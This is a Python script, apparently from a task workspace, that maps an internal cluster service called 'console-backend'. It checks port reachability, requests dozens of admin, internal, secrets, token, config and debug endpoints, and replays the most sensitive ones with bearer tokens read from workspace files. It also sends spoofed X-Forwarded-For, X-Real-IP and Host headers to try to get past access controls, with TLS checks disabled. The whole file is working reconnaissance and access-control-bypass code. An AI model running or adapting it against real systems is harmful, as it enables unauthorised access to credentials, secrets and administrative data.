#!/usr/bin/env python3
import socket, json, urllib.request, urllib.error, ssl, time, sys
OUT="/opt/data/workspace/i26007/recon.out"
CTX=ssl._create_unverified_context()
def log(*a):
    s=" ".join(str(x) for x in a)
    print(s); 
    with open(OUT,"a") as f: f.write(s+"\n")
open(OUT,"w").close()

HOST="console-backend.agentek.svc.cluster.local"
PORT=3000
# resolve
try:
    ips=sorted(set(x[4][0] for x in socket.getaddrinfo(HOST,PORT,proto=socket.IPPROTO_TCP)))
    log("RESOLVE %s -> %s"%(HOST,ips))
except Exception as e:
    log("RESOLVE FAIL",e); ips=[]

JWT=open("/app/data/tasks/33/i26007/JWT").read().strip() if __import__('os').path.exists("/app/data/tasks/33/i26007/JWT") else None
# JWT/MCP injected by caller via env-style files in workspace
import os
for p in ["/app/data/tasks/33/i26007/JWT","/opt/data/workspace/i26007/JWT"]:
    if os.path.exists(p): JWT=open(p).read().strip(); break
MCP=None
for p in ["/app/data/tasks/33/i26007/MCP","/opt/data/workspace/i26007/MCP"]:
    if os.path.exists(p): MCP=open(p).read().strip(); break
log("JWT_present",bool(JWT),"MCP_present",bool(MCP))

def req(url, headers, timeout=8, method="GET"):
    r=urllib.request.Request(url, headers=headers, method=method)
    t0=time.time()
    try:
        with urllib.request.urlopen(r,timeout=timeout,context=CTX) as resp:
            body=resp.read(2000)
            return resp.status, len(body), body, dict(resp.headers), time.time()-t0
    except urllib.error.HTTPError as e:
        body=e.read(2000)
        return e.code, len(body), body, dict(e.headers), time.time()-t0
    except Exception as e:
        return "ERR", 0, str(e)[:150].encode(), {}, time.time()-t0

# probe TCP to each ip
for ip in ips:
    s=socket.socket(); s.settimeout(4)
    try:
        s.connect((ip,PORT)); log("TCP %s:%s OPEN"%(ip,PORT))
    except Exception as e:
        log("TCP %s:%s CLOSED %s"%(ip,PORT,e))
    finally:
        s.close()

paths=[
 "/","/health","/healthz","/health/readiness","/livez","/readyz","/metrics","/version","/api","/api/health","/api/version","/api/status",
 "/internal","/internal/","/internal/health","/internal/metrics","/internal/config","/internal/users","/internal/admin","/internal/debug","/internal/api",
 "/api/internal","/api/internal/","/api/internal/health","/api/internal/config","/api/internal/users","/api/internal/admin","/api/internal/stats",
 "/api/admin","/api/admin/","/api/admin/users","/api/admin/config","/api/admin/stats","/api/admin/spaces","/api/admin/agents","/api/admin/tenants",
 "/api/users","/api/users/","/api/spaces","/api/agents","/api/agents/604","/api/mcp-tokens","/api/mcp/services","/api/oauth","/api/oauth/providers",
 "/api/secrets","/api/secrets/effective","/api/config","/api/settings","/api/system","/api/system/info","/api/tenants","/api/accounts","/api/operator","/api/staff",
 "/.well-known/openid-configuration","/.well-known/jwks.json","/.well-known/security.txt",
 "/swagger","/swagger.json","/swagger/index.html","/openapi.json","/api-docs","/api-docs.json","/docs","/v3/api-docs",
 "/graphql","/api/graphql","/debug","/actuator","/actuator/health","/actuator/env","/actuator/info","/api/auth/config","/api/auth/me","/api/auth/providers",
 "/api/v1","/api/v1/users","/api/v2","/robot.txt","/favicon.ico",
]
bases=[("svc","http://%s:%d"%(HOST,PORT))]
for ip in ips: bases.append(("ip","http://%s:%d"%(ip,PORT)))

def hdrs(extra):
    h={"User-Agent":"curl/8.5.0","Accept":"application/json, */*","Connection":"close"}
    h.update(extra); return h

variants=[
 ("none", {}),
]
if JWT: variants.append(("jwt", {"Authorization":"Bearer "+JWT}))
if MCP: variants.append(("mcp", {"Authorization":"Bearer "+MCP}))
variants += [
 ("xff127", {"X-Forwarded-For":"127.0.0.1"}),
 ("xff10", {"X-Forwarded-For":"10.0.0.1","X-Real-IP":"10.0.0.1"}),
 ("xff172", {"X-Forwarded-For":"172.17.0.1","X-Real-IP":"172.17.0.1"}),
 ("hostlocalhost", {"Host":"localhost"}),
 ("xforwardedhost", {"X-Forwarded-Host":"localhost","X-Forwarded-Proto":"http"}),
]

# Phase 1: baseline none on svc base for all paths
bname,bbase=bases[0]
log("=== PHASE1 baseline(none) on %s ==="%bbase)
for p in paths:
    sc,ln,body,hh,dt=req(bbase+p, hdrs({}))
    snip=body[:160].decode('utf-8','replace').replace("\n"," ")
    log("%-34s %s len=%s ct=%s | %s"%(p,sc,ln,hh.get("Content-Type","")[:24],snip))

# Phase 2: interesting paths x auth variants
interest=["/api/admin/users","/api/users","/api/spaces","/api/mcp-tokens","/api/internal/users","/api/internal/config","/internal/config","/api/secrets","/api/config","/api/tenants","/api/operator","/api/staff","/metrics","/actuator/env","/api/admin","/api/system/info"]
log("=== PHASE2 auth-diff on interesting paths ===")
for p in interest:
    log("-- %s"%p)
    for vn,ex in variants:
        sc,ln,body,hh,dt=req(bbase+p, hdrs(ex))
        snip=body[:120].decode('utf-8','replace').replace("\n"," ")
        log("   [%-14s] %s len=%s | %s"%(vn,sc,ln,snip))
log("DONE")
